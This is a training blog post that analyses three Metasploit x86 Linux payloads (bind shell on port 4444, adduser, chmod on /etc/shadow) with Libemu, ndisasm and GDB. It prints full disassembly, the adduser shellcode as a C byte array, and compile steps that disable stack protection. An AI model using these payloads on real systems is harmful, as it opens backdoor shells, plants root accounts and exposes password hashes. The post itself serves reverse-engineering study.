SLAE32 Assignment #5: MSFvenom Shellcode Analysis

In this blog post, we will be covering our process behind reverse engineering and understanding popular shellcode payloads maintained in the payload module of the Metasploit project, MSFvenom.

As this blog series is based on x86 Linux, this post will focus on payloads supporting this architecture and platform.

This post is the fifth entry in the series of posts created for the SLAE32 certification course provided by Pentester Academy.

Overview

MSFvenom, which was previously separated into the submodules Msfpayload and Msfencode is used to generate shellcode payloads for multiple platforms and architectures.

The module supports a range of capabilities such as encoding, various platform and architecture support, and options for outputting shellcode in custom formats, such as for high level loaders written in C# and Python.

To list the available MSFvenom shellcode payloads for x86 Linux, we can run the following command:

root㉿kali)-[/home/jack/SLAE32/Assignment 5: MSFvenom Shellcode Analysis]
└─# msfvenom -l payloads --platform linux --arch x86

In this blog post, we will be analysing three unique x86 Linux shellcode payloads created using MSFVenom. Our chosen shellcodes are:

  • Shellcode 1: linux/x86/shell_bind_tcp
  • Shellcode 2: linux/x86/adduser
  • Shellcode 3: linux/x86/chmod

Analysis Tools

Whilst we have popular frameworks such as Metasploit to generate shellcode which we know we can trust, it is helpful to know exactly what actions a given shellcode payload performs at an assembly level. To this end, it is recommended to perform analysis using the many available tools at our disposal.

In this blog post, we will be covering the use of three core tools to disassemble, analyse and dissect the functionality of our chosen shellcodes. These tools are:

  • Libemu
  • Ndisasm
  • GDB

Libemu

Libemu is an x86 shellcode detection and emulation tool.

In this blog post, we will mostly stick to using the sctest program which is compiled as part of Libemu.

To assist with installation of libemu, a helpful guide is provided by Ray Doyle on his blog.

Ndisasm

Ndisasm is a disassembler for 16 and 32-bit binary files. Ndisasm is included as part of standard Linux package managers. In our case, we install this using apt as follows:

apt install ndisasm

GDB

GDB is a debugging and reverse engineering program used to examine binaries. We will be using this with the PEDA plugin.

We begin with an analysis of the MSFvenom linux/x86/shell_bind_tcp shellcode.


Shellcode 1: linux/x86/shell_bind_tcp

The purpose of a bind shell payload is to open and bind a socket on the target machine, listen for an incoming connection and spawn an interactive command shell.

To validate that this is the true functionality of the shellcode, we will carry out static and dynamic analysis in the next section.


Emulation with Libemu

To begin, we use the sctest program from Libemu to emulate the linux/x86/shell_bind_tcp shellcode. We supply the arguments as follows:

msfvenom

  • -p: Payload option set to linux/x86/shell_bind_tcp
  • R: Output shellcode in raw bytes

sctest

  • -vvv: Set verbosity mode to 3.
  • -S: Read shellcode from stdin
  • -s: Run for 10,000 steps
  • -G: Save graphical output
msfvenom -p linux/x86/shell_bind_tcp R | ./sctest -vvv -Ss 10000 -G shell_bind_tcp.dot

Whilst the output of this command may at first be quite difficult to make sense of, the end of the command output shows a sort of 'pseudocode' rendition of a bind shell.

Below, code resembling C is shown to be setting up the four main syscalls to socket, bind, listen and accept to initiate the bind shell connection. This is followed by calls to dup2 which are used to redirect STDIN, STDOUT and STDERR to the established bind socket. Finally, the call to execve is made, which initiates the /bin/sh shell.

int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int bind (
     int sockfd = 14;
     struct sockaddr_in * my_addr = 0x00416fc2 => 
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 23569 (port=4444);
             struct in_addr sin_addr = {
                 unsigned long s_addr = 0 (host=0.0.0.0);
             };
             char sin_zero = "       ";
         };
     int addrlen = 16;
) =  0;
int listen (
     int s = 14;
     int backlog = 0;
) =  0;
int accept (
     int sockfd = 14;
     sockaddr_in * addr = 0x00000000 => 
         none;
     int addrlen = 0x00000010 => 
         none;
) =  19;
int dup2 (
     int oldfd = 19;
     int newfd = 14;
) =  14;
int dup2 (
     int oldfd = 19;
     int newfd = 13;
) =  13;
int dup2 (
     int oldfd = 19;
     int newfd = 12;
) =  12;
int dup2 (
     int oldfd = 19;
     int newfd = 11;
) =  11;
int dup2 (
     int oldfd = 19;
     int newfd = 10;
) =  10;
int dup2 (
     int oldfd = 19;
     int newfd = 9;
) =  9;
int dup2 (
     int oldfd = 19;
     int newfd = 8;
) =  8;
int dup2 (
     int oldfd = 19;
     int newfd = 7;
) =  7;
int dup2 (
     int oldfd = 19;
     int newfd = 6;
) =  6;
int dup2 (
     int oldfd = 19;
     int newfd = 5;
) =  5;
int dup2 (
     int oldfd = 19;
     int newfd = 4;
) =  4;
int dup2 (
     int oldfd = 19;
     int newfd = 3;
) =  3;
int dup2 (
     int oldfd = 19;
     int newfd = 2;
) =  2;
int dup2 (
     int oldfd = 19;
     int newfd = 1;
) =  1;
int dup2 (
     int oldfd = 19;
     int newfd = 0;
) =  0;
int execve (
     const char * dateiname = 0x00416fb2 => 
           = "/bin//sh";
     const char * argv[] = [
           = 0x00416faa => 
               = 0x00416fb2 => 
                   = "/bin//sh";
           = 0x00000000 => 
             none;
     ];
     const char * envp[] = 0x00000000 => 
         none;
) =  0;

From the above, we can infer each syscall including the arguments used. From here, we can find out more information about each syscall by using the Linux man pages.

Below are the function headers of each syscall which we have taken from the Libemu output:

int socket(int domain, int type, int protocol);
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
int listen(int sockfd, int backlog);
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
int dup2(int oldfd, int newfd);
int execve(const char *pathname, char *const argv[], char *const envp[]);

The above function headers are enough for us to start recreating the bind shell payload in assembly.

As we have used the -G option with Libemu, the above information is also presented graphically in the file shell_bind_tcp.dot. To view this file, we first convert it to a PNG using the dot command below.

dot shell_bind_tcp.dot -T png -o shell_bind_tcp.png

In the image below, we can clearly see the calls made to each syscall and understand the corresponding assembly instructions.


Disassembly with Ndisasm

To complement the graphical output provided by Libemu, we can next use ndisasm to disassemble the payload into its assembly instructions:

msfvenom -p linux/x86/shell_bind_tcp R | ndisasm -u -

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 78 bytes

00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  53                push ebx
00000005  43                inc ebx
00000006  53                push ebx
00000007  6A02              push byte +0x2
00000009  89E1              mov ecx,esp
0000000B  B066              mov al,0x66
0000000D  CD80              int 0x80
0000000F  5B                pop ebx
00000010  5E                pop esi
00000011  52                push edx
00000012  680200115C        push dword 0x5c110002
00000017  6A10              push byte +0x10
00000019  51                push ecx
0000001A  50                push eax
0000001B  89E1              mov ecx,esp
0000001D  6A66              push byte +0x66
0000001F  58                pop eax
00000020  CD80              int 0x80
00000022  894104            mov [ecx+0x4],eax
00000025  B304              mov bl,0x4
00000027  B066              mov al,0x66
00000029  CD80              int 0x80
0000002B  43                inc ebx
0000002C  B066              mov al,0x66
0000002E  CD80              int 0x80
00000030  93                xchg eax,ebx
00000031  59                pop ecx
00000032  6A3F              push byte +0x3f
00000034  58                pop eax
00000035  CD80              int 0x80
00000037  49                dec ecx
00000038  79F8              jns 0x32
0000003A  682F2F7368        push dword 0x68732f2f
0000003F  682F62696E        push dword 0x6e69622f
00000044  89E3              mov ebx,esp
00000046  50                push eax
00000047  53                push ebx
00000048  89E1              mov ecx,esp
0000004A  B00B              mov al,0xb
0000004C  CD80              int 0x80

This output gives us the assembly instructions used to recreate the payload.

Next, we break down the above assembly instructions per syscall.


socket

To begin, the assembly code creates a socket to establish connections over.

The function header for the call to socket is as follows.

int socket(int domain, int type, int protocol);

The assembly code for the call to socket is as follows:

00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  53                push ebx
00000005  43                inc ebx
00000006  53                push ebx
00000007  6A02              push byte +0x2
00000009  89E1              mov ecx,esp
0000000B  B066              mov al,0x66
0000000D  CD80              int 0x80

To begin, the EBX, EAX and EDX registers are set to null. This is done by first XORing EBX, and then using the mul instruction, which multiplies EAX by EBX, implicitly setting EDX to null.

Next, EBX (0) is pushed to the stack, incremented by 1, and pushed to the stack again. After this, 0x2 is pushed to the stack. This sets the arguments for socket as follows:

  • domain - 2
  • type - 1
  • protocol - 0

Once they are set, the ESP register is moved into ECX, which is used to store the arguments for the syscall. Next, the syscall number (0x66) for socketcall is moved into AL, and the soft interrupt (int 0x80) is called, initiating the syscall for socket.

For reference, the argument breakdown for the syscall to socket is as follows:

SyscallArgumentValue
socketcallsyscall0x66
socketcallcall0x1
socketdomain0x2
sockettype0x1
socketprotocol0x0

bind

Next, the bind syscall is used to associate the socket to an address, port and protocol family.

The function header for the call to bind is as follows:

int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

The assembly code for the call to bind is as follows:

0000000F  5B                pop ebx
00000010  5E                pop esi
00000011  52                push edx
00000012  680200115C        push dword 0x5c110002
00000017  6A10              push byte +0x10
00000019  51                push ecx
0000001A  50                push eax
0000001B  89E1              mov ecx,esp
0000001D  6A66              push byte +0x66
0000001F  58                pop eax
00000020  CD80              int 0x80

Following the above assembly code, the bind syscall is structured as follows:

SyscallArgumentMan ReferenceC Code Reference
socketcallcallDetermines which socket function to invoke-
socketcallargsPoints to a block containing the actual arguments-
bindsockfdFile descriptor of the sockethost_sockid
bindaddrSocket address family, host address and port&hostaddr
bindaddrlenSize in bytes of address structure pointed to by addrsizeof(hostaddr)

To begin, the last value which was pushed to the stack, which was 0x2 for the domain argument of the call to socket, is popped into EBX. The next value, on the stack, 0x1 is then popped into ESI.

Next, the sockaddr_in structure is pushed to the stack.

The breakdown of this struct is as follows:

StructArgumentMan ReferenceValue
sockaddr_insin_familyAddress familyAF_INET - 2
sockaddr_insin_portTCP port to listen on in network byte order4444 - 0x5c11
sockaddr_insin_addrHost IP address in network byte orderINADDR_ANY - 0x00000000

To begin, the EDX register, which contains null is pushed to the stack, supplying the sin_addr value. Next, a dword value containing the socket address family (2) and port (4444 or 0x5c11) is pushed to the stack. Next, the value 0x10 for the addrlen argument is pushed to the stack, as well as the ECX register, which points to the start of the sockaddr_in structure.

Next, the EAX register, which contains the sockfd value returned from the socket syscall, is pushed to the stack.

Once the bind arguments are set, the ESP stack pointer is moved into ECX, which points to their location on the stack. Next, the syscall number (0x66) for socketcall is moved into AL, and the soft interrupt (int 0x80) is called, initiating the syscall for bind.

For reference, the argument breakdown for the syscall to bind is as follows:

SyscallargumentDescriptionValue
socketcallsyscall numbersyscall value for socketcall0x66
socketcallcallsocketcall value for bind0x2
bindsockfdsocket file descriptor0x3
bindaddrsockaddr_in structure2, 0x5c11, NULL
bindaddrlenLength of addr in bytes0x10

listen

Next, we look at the implementation of the listen call, which is used to listen for connections made to the previous created socket.

The function header for the call to listen is as follows:

int listen(int sockfd, int backlog);

The assembly code for the call to listen is as follows:

00000022  894104            mov [ecx+0x4],eax
00000025  B304              mov bl,0x4
00000027  B066              mov al,0x66
00000029  CD80              int 0x80

To begin, the value 0x4 is moved for the socketcall call argument. Next, the 0x66 syscall value for socketcall is moved into EAX and the soft interrupt (int 0x80) is made.

At the time this is called, the ECX register is pointing to the previously pushed sockfd value and a backlog value set to 0.

For reference, the argument breakdown for the syscall to listen is as follows:

SyscallArgumentMan ReferenceC Code Reference
socketcallcallDetermines which socket function to invoke-
socketcallargsPoints to a block containing the actual arguments-
listensockfdFile descriptor of the sockethost_sockid
listenbacklogMaximum number of pending connections2

accept

Next, we look at the call to the accept function, which is used to accept a connection request made by a client.

The function header for accept is as follows:

int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

The assembly code for the call to accept is as follows:

0000002B  43                inc ebx
0000002C  B066              mov al,0x66
0000002E  CD80              int 0x80

Next, the call to accept is made. As most of this structure is populated by the OS based on the incoming socket, the required assembly instructions are minimal. Namely, the addr and addrlen arguments do not have to be provided by the programmer.

The sockfd value, which is already stored by ECX as of the call to listen, is already set correctly for the accept call. As a result, all that is needed is to move the socketcall number for accept (0x5) into EBX by incrementing it, and then making the syscall.

For reference, the argument breakdown for the syscall to accept is as follows:

SyscallArgumentMan ReferenceC Code Reference
socketcallcallDetermines which socket function to invoke-
socketcallargsPoints to a block containing the actual arguments-
acceptsockfdFile descriptor that refers to a socket of type SOCK_STREAMhost_sockid
acceptaddrPointer to the incoming socket's sockaddr structureNULL
acceptaddrlenSize in bytes of the incoming socket's sockaddr structureNULL

dup2

Next, we look at the implementation of dup2, which is used to redirect STDIN, STDOUT and STDERR to the connecting socket.

The function header for dup2 is as follows:

int dup2(int oldfd, int newfd);

The assembly code for the syscall to dup2 is as follows:

00000030  93                xchg eax,ebx
00000031  59                pop ecx
00000032  6A3F              push byte +0x3f
00000034  58                pop eax
00000035  CD80              int 0x80
00000037  49                dec ecx
00000038  79F8              jns 0x32

First, the xchg instruction is called to swap the values of EAX and EBX. The ESP register, which points to the sockfd value from the previous call, is popped into ECX. Next, the syscall value for dup2 (0x3f) is popped into EAX and the syscall is made.

There are two additional instructions after the syscall is made, dec ECX and jns 0x32. The jns, or 'Jump Not Sign' instruction jumps to the specified label if the sign flag is not set. The sign flag is set following an operation that results in a negative number.

The final two instructions create a loop which, upon each syscall to dup2, decrements the value of ECX storing newfd. This value is the new file descriptor, and will be set to 2, 1 and 0 to redirect input from STDERR, STDOUT and STDIN respectively to the established socket.

For reference, the argument breakdown for the syscall to dup2 is as follows:

SyscallArgumentMan ReferenceC Code Reference
dup2oldfdFile descriptor that refers to a socket of type SOCK_STREAMhost_sockid
dup2newfdNew file descriptor0, 1 and 2

execve

Finally is the call to execve, which is responsible for executing a given program.

The function header for execve is defined as follows:

int execve(const char *pathname, char *const argv[], char *const envp[]);

The assembly code for the syscall to execve is as follows:

0000003A  682F2F7368        push dword 0x68732f2f
0000003F  682F62696E        push dword 0x6e69622f
00000044  89E3              mov ebx,esp
00000046  50                push eax
00000047  53                push ebx
00000048  89E1              mov ecx,esp
0000004A  B00B              mov al,0xb
0000004C  CD80              int 0x80

To begin, the pathname argument, in this case set as two dwords to /bin//sh is pushed to the stack. The ESP register is moved into EBX, storing the pointer to the pathname argument in that register. Next, EAX which is set to 0x0 is pushed to the stack to account for the argv argument. As neither argv or envp are needed to be set for our call to /bin/sh, both of these values are set to null.

Finally, ESP is moved into the ECX and the value 0xb is moved into AL for the syscall prior to it being called. The result is a fully working bind shell.


Analysis with GDB

Next, we perform a dynamic analysis using gdb by stepping through the program one instruction at a time.

Compilation and setup

Before we begin, we use MSFvenom to output the bind shell shellcode into C format:

We then insert the shellcode into our C skeleton code, which we compile using gcc:

gcc -fno-stack-protector -z execstack shell_bind_tcp_shellcode.c -o shellcode

Next, we launch gdb and set a breakpoint to the main function:

We run the main program and hit the breakpoint, positioning us at the start of the program:

We can use the disassemble command to break down the assembly instructions making up the shellcode:

We then set a breakpoint to the start of the linux/x86/shell_bind_tcp shellcode payload so we can begin stepping through it:

socket analysis

We first step to the soft interrupt call for socket and step through the instructions to the first syscall at 0x40404d:

Above, we note that EAX is set to 0x66 for the socketcall syscall, EBX is set to 1 to indicate we are calling socket, and ECX is pointing to an socket arguments on the stack.

We can examine the socket arguments on the stack, and see they are set as follows:

bind analysis

We step to the syscall to bind and assess the arguments set at 0x404060:

Above, we note that EAX is set to 0x66 for the socketcall syscall, EBX is set to 2 to indicate we are calling bind, and ECX is pointing to the bind arguments on the stack.

listen analysis

We next step to the syscall to listen and analyse the arguments set at 0x404069:

Above, we note that EAX is set to 0x66 for the socketcall syscall, EBX is set to 0x4 to indicate we are calling listen, and ECX is pointing to the listen arguments on the stack.

accept analysis

We next step to the syscall for accept and analyse the arguments set at 0x40406e:

Above, we note that EAX is set to 0x66 for the socketcall syscall, EBX is set to 0x5 to indicate we are calling accept, and ECX is pointing to the listen arguments on the stack.

dup2 analysis

We next step to the syscall for dup2 and analyse the arguments set at 0x404075:

Above, we note that EAX is set to 0x3F for the dup2 syscall, EBX is set to 0x4, which is the sockfd obtained from the connecting client, and will be used as the newfd argument. ECX, in this case stores the oldfd, and will iterate over 0, 1 and 2 for STDIN, STDOUT and STDERR:

First call is made for STDERR:

Second call is made for STDOUT:

Final call is made for STDIN:

execve analysis

Finally, the syscall to execve is made. We analyse the arguments set at 0cx40408c

We note that the pathname argument is pointed to by the EBX register, and the remainder of the arguments are set to null.

Following this call, the assembly code transfers control over to the /bin/sh program, completing implementation of the bind shell.


Next, we move onto an analysis of the MSFvenom linux/x86/adduser shellcode.


Shellcode 2: linux/x86/adduser

According to the description provided by MSFvenom, the linux/x86/adduser shellcode payload is designed to create a new user on the target system with root permissions (UID of 0).

Understanding the payload options, this shellcode specifies a username, password and (optionally) and shell for the new user to use. By default, the username and password will both be set to metasploit and will set the shell to /bin/sh.

┌──(root㉿kali)-[/opt/libemu/tools/sctest]
└─# msfvenom -p linux/x86/adduser --list-options                                                1 ⨯ 1 ⚙
Options for payload/linux/x86/adduser:
=========================

       Name: Linux Add User
     Module: payload/linux/x86/adduser
   Platform: Linux
       Arch: x86
Needs Admin: Yes
 Total size: 97
       Rank: Normal

Provided by:
    skape <mmiller@hick.org>
    vlad902 <vlad902@gmail.com>
    spoonm <spoonm@no$email.com>

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
PASS   metasploit       yes       The password for this user
SHELL  /bin/sh          no        The shell for this user
USER   metasploit       yes       The username to create

Description:
  Create a new user with UID 0

To validate that this is the true functionality of the shellcode, we will perform analysis in the next section.

Emulation with Libemu

To begin, we use the sctest program from Libemu to emulate the linux/x86/adduser shellcode.

We supply the arguments as follows:

msfvenom

  • -p: Payload option set to linux/x86/adduser
  • R: Output shellcode in raw bytes

sctest

  • -vvv: Set verbosity mode to 3.
  • -S: Read shellcode from stdin
  • -s: Run for 10,000 steps
  • -G: Save graphical output
msfvenom -p linux/x86/adduser R | ./sctest -vvv -Ss 10000 -G adduser.dot
graph file adduser.dot
verbose = 3
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 97 bytes

[emu 0x0x75f640 debug ] cpu state    eip=0x00417000
[emu 0x0x75f640 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x75f640 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x75f640 debug ] Flags: 
[emu 0x0x75f640 debug ] cpu state    eip=0x00417000
[emu 0x0x75f640 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x75f640 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x75f640 debug ] Flags: 
[emu 0x0x75f640 debug ] 31C9                            xor ecx,ecx
[emu 0x0x75f640 debug ] cpu state    eip=0x00417002
[emu 0x0x75f640 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x75f640 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x75f640 debug ] Flags: PF ZF 
[emu 0x0x75f640 debug ] 89CB                            mov ebx,ecx
[emu 0x0x75f640 debug ] cpu state    eip=0x00417004
[emu 0x0x75f640 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x75f640 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x75f640 debug ] Flags: PF ZF 
[emu 0x0x75f640 debug ] 6A46                            push byte 0x46
[emu 0x0x75f640 debug ] cpu state    eip=0x00417006
[emu 0x0x75f640 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x75f640 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x75f640 debug ] Flags: PF ZF 
[emu 0x0x75f640 debug ] 58                              pop eax
[emu 0x0x75f640 debug ] cpu state    eip=0x00417007
[emu 0x0x75f640 debug ] eax=0x00000046  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x75f640 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x75f640 debug ] Flags: PF ZF 
[emu 0x0x75f640 debug ] CD80                            int 0x80
stepcount 4
copying vertexes
optimizing graph
vertex 0x7c0850
going forwards from 0x7c0850
 -> vertex 0x7c0a70
 -> vertex 0x7c0b60
 -> vertex 0x7c0c40
copying edges for 0x7c0c40
vertex 0x7c0e30
going forwards from 0x7c0e30
copying edges for 0x7c0e30
[emu 0x0x75f640 debug ] cpu state    eip=0x00417009
[emu 0x0x75f640 debug ] eax=0x00000046  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x75f640 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x75f640 debug ] Flags: PF ZF

For this payload, considerably less information is returned by using Libemu, meaning we will have to rely on the other two tools to better grasp how it is working.


Disassembly with Ndisasm

Next, we use ndisasm to disassemble the shellcode generated by MSFvenom. The payload gets broken down into its assembly instructions as follows:

msfvenom -p linux/x86/adduser R | ndisasm -u -                                                  1 ⚙
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 97 bytes

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E828000000        call 0x53
0000002B  6D                insd
0000002C  657461            gs jz 0x90
0000002F  7370              jnc 0xa1
00000031  6C                insb
00000032  6F                outsd
00000033  69743A417A2F6449  imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B  736A              jnc 0xa7
0000003D  3470              xor al,0x70
0000003F  3449              xor al,0x49
00000041  52                push edx
00000042  633A              arpl [edx],di
00000044  303A              xor [edx],bh
00000046  303A              xor [edx],bh
00000048  3A2F              cmp ch,[edi]
0000004A  3A2F              cmp ch,[edi]
0000004C  62696E            bound ebp,[ecx+0x6e]
0000004F  2F                das
00000050  7368              jnc 0xba
00000052  0A598B            or bl,[ecx-0x75]
00000055  51                push ecx
00000056  FC                cld
00000057  6A04              push byte +0x4
00000059  58                pop eax
0000005A  CD80              int 0x80
0000005C  6A01              push byte +0x1
0000005E  58                pop eax
0000005F  CD80              int 0x80

Whilst this output gives us the assembly instructions, we need to do a bit of digging to identify the syscalls that are performed. We can backtrace this based on the value stored in the EAX register prior to each call to int 0x80.

From this, we pick out a list of syscalls using the following syscall numbers:

  • 0x46 - syscall 70 - setreuid
  • 0x5 - syscall 5 - open
  • 0x4 - syscall 4 - write
  • 0x1 - syscall 1 - exit

Below are the function headers of each syscall in the adduser payload which we have taken from the Ndisasm output:

int setreuid(uid_t ruid, uid_t euid);
int open(const char *pathname, int flags);
ssize_t write(int fd, const void *buf, size_t count);
void exit(int status);

Analysis with GDB

Next, we perform a dynamic analysis using gdb by stepping through the program an instruction at a time.

Compilation and setup

Before we begin, we use MSFvenom to output the shellcode into C format:

msfvenom -p linux/x86/adduser -f C                                                              1 ⚙
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 97 bytes
Final size of c file: 433 bytes
unsigned char buf[] = 
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65"
"\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73"
"\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a"
"\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58"
"\xcd\x80\x6a\x01\x58\xcd\x80";

We then compile the shellcode with gcc:

gcc -fno-stack-protector -z execstack adduser_shellcode.c -o shellcode

Next, we launch gdb and set a breakpoint to the main function using the break command:

Run the main program and hit the breakpoint, positioning us at the start of the program:

We can then use the disassemble command to break down the assembly instructions making up the shellcode:

We then set a breakpoint to the start of the linux/x86/adduser shellcode payload so we can analyse it:

setreuid analysis

We first step to the syscall for setreuid.

Above, we note that EAX is populated by the system call value 0x46 for the setreuid syscall, with EBX and ECX set to 0.

Based on the manual page entry for setreuid, the syscall is used to set the effective user IDs of the calling process. As adding a new user to the /etc/passwd file requires root permissions, both the ruid and euid arguments are set to 0 for root.

open analysis

Next, we step to the syscall for open and analyse the arguments.

In the EAX register, we note that the syscall for open (0x5) is present. In EBX, the pointer to the filepath for /etc/passwd is stored. ECX, which contains the flags argument contains the value 0x401.

By referring to /usr/include/asm-generic/fcntl.h, we can see that the flag setting of 0x401 is a combination of the O_WRONLY and O_NOCTTY options, which indicates open is being used to write to the file and to not make the provided file the controlling terminal for the process.

write analysis

Once the /etc/passwd file has been opened, a call instruction is made.

This instruction moves EIP to the location 0x404093 and resumes execution.

When we step into this instruction, we note that the ESP register is pointing to a string which it will write to the chosen file. This string is a new user entry for the default option 'metasploit', and will be appended to the /etc/passwd file following this call.

At the time of the call to write, we see that EAX contains the syscall number of 0x4, EBX contains the file descriptor (fd) of the /etc/passwd file, ECX contains the string to write to the file (*buf) and EDX contains the number of bytes (count) to write from the string which is 0x28 (40 bytes).

The string in ECX is set to "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004Xj\001X", using the JMP-CALL-POP technique. As count / EDX is set to 0x28, this means that the first 39 bytes will be written to /etc/passwd.

In this case, the string we will see appended to the /etc/passwd file is:

metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh

We check the /etc/passwd file after executing this syscall and verify that the line has been appended to the file.

To confirm that the payload worked as expected, we can also switch users with the su command to the newly created account, and verify that it has root permissions.


Next, we move onto an analysis of the MSFvenom linux/x86/chmod shellcode.


Shellcode 3: linux/x86/chmod

According to the description provided in MSFvenom, the linux/x86/chmod shellcode payload is designed to run the chmod command on a target file with a specified mode, effectively modifying its permissions.

Understanding the payload options, this shellcode specifies a file and a mode as arguments. By default, the file is set to /etc/shadow and the mode is set to 0666, or full global permissions.

┌──(root㉿kali)-[/opt/libemu/tools/sctest]
└─# msfvenom -p linux/x86/chmod --list-options                                                      1 ⚙
Options for payload/linux/x86/chmod:
=========================

       Name: Linux Chmod
     Module: payload/linux/x86/chmod
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 36
       Rank: Normal

Provided by:
    kris katterjohn <katterjohn@gmail.com>

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
FILE  /etc/shadow      yes       Filename to chmod
MODE  0666             yes       File mode (octal)

Description:
  Runs chmod on specified file with specified mode

To validate that this is the true functionality of the shellcode, we will perform analysis in the next section.

Emulation with Libemu

To begin, we use the sctest program from Libemu to emulate the linux/x86/chmod shellcode.

We supply the arguments as follows:

msfvenom

  • -p: Payload option set to linux/x86/chmod
  • R: Output shellcode in raw bytes

sctest

  • -vvv: Set verbosity mode to 3.
  • -S: Read shellcode from stdin
  • -s: Run for 10,000 steps
  • -G: Save graphical output
msfvenom -p linux/x86/chmod R | ./sctest -vvv -Ss 10000 -G chmod.dot
graph file chmod.dot
verbose = 3
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 36 bytes

[emu 0x0x4b2640 debug ] cpu state    eip=0x00417000
[emu 0x0x4b2640 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x4b2640 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x4b2640 debug ] Flags: 
[emu 0x0x4b2640 debug ] cpu state    eip=0x00417000
[emu 0x0x4b2640 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x4b2640 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x4b2640 debug ] Flags: 
[emu 0x0x4b2640 debug ] 99                              cwd 
[emu 0x0x4b2640 debug ] cpu state    eip=0x00417001
[emu 0x0x4b2640 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x4b2640 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x4b2640 debug ] Flags: 
[emu 0x0x4b2640 debug ] 6A0F                            push byte 0xf
[emu 0x0x4b2640 debug ] cpu state    eip=0x00417003
[emu 0x0x4b2640 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x4b2640 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x4b2640 debug ] Flags: 
[emu 0x0x4b2640 debug ] 58                              pop eax
[emu 0x0x4b2640 debug ] cpu state    eip=0x00417004
[emu 0x0x4b2640 debug ] eax=0x0000000f  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x4b2640 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x4b2640 debug ] Flags: 
[emu 0x0x4b2640 debug ] 52                              push edx
[emu 0x0x4b2640 debug ] cpu state    eip=0x00417005
[emu 0x0x4b2640 debug ] eax=0x0000000f  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
